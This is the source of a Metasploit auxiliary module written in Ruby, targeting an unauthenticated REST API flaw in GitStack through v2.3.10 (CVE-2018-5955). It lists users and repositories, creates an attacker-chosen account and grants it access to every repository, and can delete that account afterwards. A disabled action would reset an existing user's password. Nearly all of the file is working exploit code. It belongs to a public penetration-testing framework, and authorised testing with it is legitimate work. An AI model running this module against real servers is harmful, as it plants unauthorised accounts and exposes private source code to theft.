## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'GitStack Unauthenticated REST API Requests', 'Description' => %q{ This modules exploits unauthenticated REST API requests in GitStack through v2.3.10. The module supports requests for listing users of the application and listing available repositories. Additionally, the module can create a user and add the user to the application's repositories. This module has been tested against GitStack v2.3.10. }, 'Author' => [ 'Kacper Szurek', # Vulnerability discovery and PoC 'Jacob Robles' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2018-5955'], ['EDB', '43777'], ['EDB', '44044'] ], 'DisclosureDate' => '2018-01-15', 'Actions' => [ [ 'LIST', { 'Description' => 'List application users', 'List' => 'GET', 'UserPath' => '/rest/user/' } ], [ 'CREATE', { 'Description' => 'Create a user on the application', 'Create' => 'POST', 'List' => 'GET', 'UserPath' => '/rest/user/', 'RepoPath' => '/rest/repository/' } ], # If this is uncommented, you will be able to change an # existing user's password. # After modifying the user's password, the user will be # added to all available repositories. # The cleanup action removes the user from all repositories # and then deletes the user... so this action may not be desirable. # [ # 'MODIFY', # { # 'Description' => "Change the application user's password", # 'Create' => 'PUT', # 'List' => 'GET', # 'UserPath' => '/rest/user/', # 'RepoPath' => '/rest/repository/' # } # ], [ 'LIST_REPOS', { 'Description' => 'List available repositories', 'List' => 'GET', 'RepoPath' => '/rest/repository/' } ], [ 'CLEANUP', { 'Description' => 'Remove user from repositories and delete user', 'List' => 'GET', 'Remove' => 'DELETE', 'RepoPath' => '/rest/repository/', 'UserPath' => '/rest/user/' } ] ], 'DefaultAction' => 'LIST' ) ) register_options( [ OptString.new('USERNAME', [false, 'User to create or modify', 'msf']), OptString.new('PASSWORD', [false, 'Password for user', 'password']) ] ) end def get_users path = action.opts['UserPath'] begin res = send_request_cgi({ 'uri' => path, 'method' => action.opts['List'] }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") return end if res && res.code == 200 begin mylist = res.get_json_document mylist -= ['everyone'] rescue JSON::ParserError => e print_error("Failed: #{e.class} - #{e.message}") return end mylist.each do |item| print_good(item.to_s) end end end def get_repos path = action.opts['RepoPath'] begin res = send_request_cgi({ 'uri' => path, 'method' => action.opts['List'] }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") return nil end if res && res.code == 200 begin mylist = res.get_json_document return mylist rescue JSON::ParserError => e print_error("Failed: #{e.class} - #{e.message}") return nil end else return nil end end def clean_app user = datastore['USERNAME'] unless user print_error('USERNAME required') return end mylist = get_repos if mylist # Remove user from each repository mylist.each do |item| path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/" begin res = send_request_cgi({ 'uri' => path, 'method' => action.opts['Remove'] }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") return end if res && res.code == 200 print_good(res.body.to_s) else print_status("User #{user} doesn't have access to #{item['name']}") end end end # Delete the user account path = "#{action.opts['UserPath']}#{user}/" begin res = send_request_cgi({ 'uri' => path, 'method' => action.opts['Remove'] }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") return end # Check if the account was successfully deleted if res && res.code == 200 print_good(res.body.to_s) else print_error(res.body.to_s) end end def add_user user = datastore['USERNAME'] pass = datastore['PASSWORD'] begin res = send_request_cgi({ 'uri' => action.opts['UserPath'], 'method' => action.opts['Create'], 'vars_post' => { 'username' => user, 'password' => pass } }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") return end if res && res.code == 200 print_good("SUCCESS: #{user}:#{pass}") else print_error(res.body.to_s) return end mylist = get_repos if mylist mylist.each do |item| path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/" begin res = send_request_cgi({ 'uri' => path, 'method' => action.opts['Create'] }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") next end if res && res.code == 200 print_good(res.body.to_s) else print_error('Failed to add user') print_error(res.body.to_s) end end else print_error('Failed to retrieve repository list') end end def run if ['LIST'].include?(action.name) print_status('Retrieving Users') get_users elsif ['LIST_REPOS'].include?(action.name) print_status('Retrieving Repositories') mylist = get_repos if mylist mylist.each do |item| print_good((item['name']).to_s) end else print_error('Failed to retrieve repository list') end elsif ['CLEANUP'].include?(action.name) clean_app elsif datastore['USERNAME'] && datastore['PASSWORD'] add_user else print_error('USERNAME and PASSWORD required') end end end